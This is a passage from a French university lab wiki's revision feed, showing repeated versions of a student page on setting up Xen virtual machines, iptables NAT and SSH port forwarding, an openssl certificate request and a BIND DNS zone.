    ssh root@&amp;lt;ipv6_eth1_batman&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== mascarade ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;et créé le fichier /etc/sysctl.conf puis mettre&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== redirection de port pour ssh ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nous avons aussi installer &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; pour eviter de perdre la configuration a chaque reboot.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install iptables-persistant&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Génération de la clé pour le certificat sur batman&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout deadpool.tech.key -out ddeadpool.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:deadpool.tech&lt;br /&gt;
Email Address []:antonin.biernacki@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Sur catwoman&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout dardevil.tech.key -out dardevil.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:dardevil.tech&lt;br /&gt;
Email Address []:billel.cheklat@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;DNS&lt;br /&gt;
&lt;br /&gt;
Modification de /etc/bind/named.conf.local&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
zone &amp;quot;deadpool.tech&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.deadpool.tech&amp;quot;;&lt;br /&gt;
        allow-transfer{secondaries;};&lt;br /&gt;
        notify yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
        192.168.69.3;&lt;br /&gt;
        2001:660:4401:60a0:216:3eff:fe8f:4743;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;dardevil.tech&amp;quot; {&lt;br /&gt;
        type secondary;&lt;br /&gt;
        file &amp;quot;/etc/bind/backup/db.dardevil.tech&amp;quot;;&lt;br /&gt;
        masters{2001:660:4401:60a0:216:3eff:fe8f:4743;};&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création d'un dossier zones dans /etc/bind et y créer le fichier db.deadpool.tech&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.deadpool.tech admin.deadpool.tech (&lt;br /&gt;
        3609      ; Version&lt;br /&gt;
        21600     ; Refresh&lt;br /&gt;
        3600      ; Retry&lt;br /&gt;
        2592000   ; Expire&lt;br /&gt;
        86400     ; Minimum TTL&lt;br /&gt;
&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
@ IN      NS      ns.deadpool.tech.&lt;br /&gt;
@ IN      NS      ns.dardervil.tech.&lt;br /&gt;
&lt;br /&gt;
ns IN AAAA 2001:660:4401:60a0:216:3eff:fefa:18d0&lt;br /&gt;
@ IN AAAA 2001:660:4401:60a0:216:3eff:fefa:18d0&lt;br /&gt;
&lt;br /&gt;
www IN CNAME deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification du fichier /etc/resolv.conf (il faut commenter tous les autres servers)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nameserver 127.0.0.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=11486</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=11486"/>
		<updated>2026-01-27T14:25:49Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Projet de virtualisation ===&lt;br /&gt;
&lt;br /&gt;
==== Atelier système et réseau, les machines virtuelles ====&lt;br /&gt;
&lt;br /&gt;
===== Création des machines virtuelles =====&lt;br /&gt;
Nous avons créé deux machines avec les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.home,xvdb,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.var,xvdc,w',&lt;br /&gt;
              ]&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;modif le fichier &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;sur terminal&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ensuite : &amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 172.10.0.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;accées internet&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ssh des machines de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Dans /etc/xen/SE4.batman.cfg&lt;br /&gt;
    vif = [ 'mac=00:16:3E:FA:18:CF,bridge=pont_ironman', 'mac=00:16:3E:FA:18:D0,bridge=SE4' ]&lt;br /&gt;
&lt;br /&gt;
Ensuite :&lt;br /&gt;
    xen shutdown SE4.batman&lt;br /&gt;
    xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
    &lt;br /&gt;
Dans /etc/network/interfaces&lt;br /&gt;
    auto eth1&lt;br /&gt;
    iface eth1 inet6 auto&lt;br /&gt;
    &lt;br /&gt;
Dans batman :&lt;br /&gt;
    reboot&lt;br /&gt;
    ifdown eth1; ifup eth1&lt;br /&gt;
    &lt;br /&gt;
Depuis capbreton :&lt;br /&gt;
    ssh root@&amp;lt;ipv6_eth1_batman&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== mascarade ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;et créé le fichier /etc/sysctl.conf puis mettre&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== redirection de port pour ssh ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nous avons aussi installer &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; pour eviter de perdre la configuration a chaque reboot.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install iptables-persistant&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Génération de la clé pour le certificat&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout deadpool.tech.key -out ddeadpool.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:deadpool.tech&lt;br /&gt;
Email Address []:antonin.biernacki@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=11458</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=11458"/>
		<updated>2026-01-27T13:47:57Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Projet de virtualisation ===&lt;br /&gt;
&lt;br /&gt;
==== Atelier système et réseau, les machines virtuelles ====&lt;br /&gt;
&lt;br /&gt;
===== Création des machines virtuelles =====&lt;br /&gt;
Nous avons créé deux machines avec les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.home,xvdb,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.var,xvdc,w',&lt;br /&gt;
              ]&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;modif le fichier &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;sur terminal&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ensuite : &amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 172.10.0.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;accées internet&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ssh des machines de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Dans /etc/xen/SE4.batman.cfg&lt;br /&gt;
    vif = [ 'mac=00:16:3E:FA:18:CF,bridge=pont_ironman', 'mac=00:16:3E:FA:18:D0,bridge=SE4' ]&lt;br /&gt;
&lt;br /&gt;
Ensuite :&lt;br /&gt;
    xen shutdown SE4.batman&lt;br /&gt;
    xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
    &lt;br /&gt;
Dans /etc/network/interfaces&lt;br /&gt;
    auto eth1&lt;br /&gt;
    iface eth1 inet6 auto&lt;br /&gt;
    &lt;br /&gt;
Dans batman :&lt;br /&gt;
    reboot&lt;br /&gt;
    ifdown eth1; ifup eth1&lt;br /&gt;
    &lt;br /&gt;
Depuis capbreton :&lt;br /&gt;
    ssh root@&amp;lt;ipv6_eth1_batman&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=11453</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=11453"/>
		<updated>2026-01-27T13:36:54Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Projet de virtualisation ===&lt;br /&gt;
&lt;br /&gt;
==== Atelier système et réseau, les machines virtuelles ====&lt;br /&gt;
&lt;br /&gt;
===== Création des machines virtuelles =====&lt;br /&gt;
Nous avons créé deux machines avec les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.home,xvdb,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.var,xvdc,w',&lt;br /&gt;
              ]&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;modif le fichier &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;sur terminal&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dans /etc/xen/SE4.batman.cfg&lt;br /&gt;
&lt;br /&gt;
vif = [ 'mac=00:16:3E:FA:18:CF,bridge=pont_ironman', 'mac=00:16:3E:FA:18:D0,bridge=SE4' ]&lt;br /&gt;
&lt;br /&gt;
ensuite :&lt;br /&gt;
    xen shutdown SE4.batman&lt;br /&gt;
    xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ensuite : &amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 172.10.0.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;accées internet&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=11451</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=11451"/>
		<updated>2026-01-27T13:33:38Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Projet de virtualisation ===&lt;br /&gt;
&lt;br /&gt;
==== Atelier système et réseau, les machines virtuelles ====&lt;br /&gt;
&lt;br /&gt;
===== Création des machines virtuelles =====&lt;br /&gt;
Nous avons créé deux machines avec les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.home,xvdb,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.var,xvdc,w',&lt;br /&gt;
              ]&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;modif le fichier &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;sur terminal&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
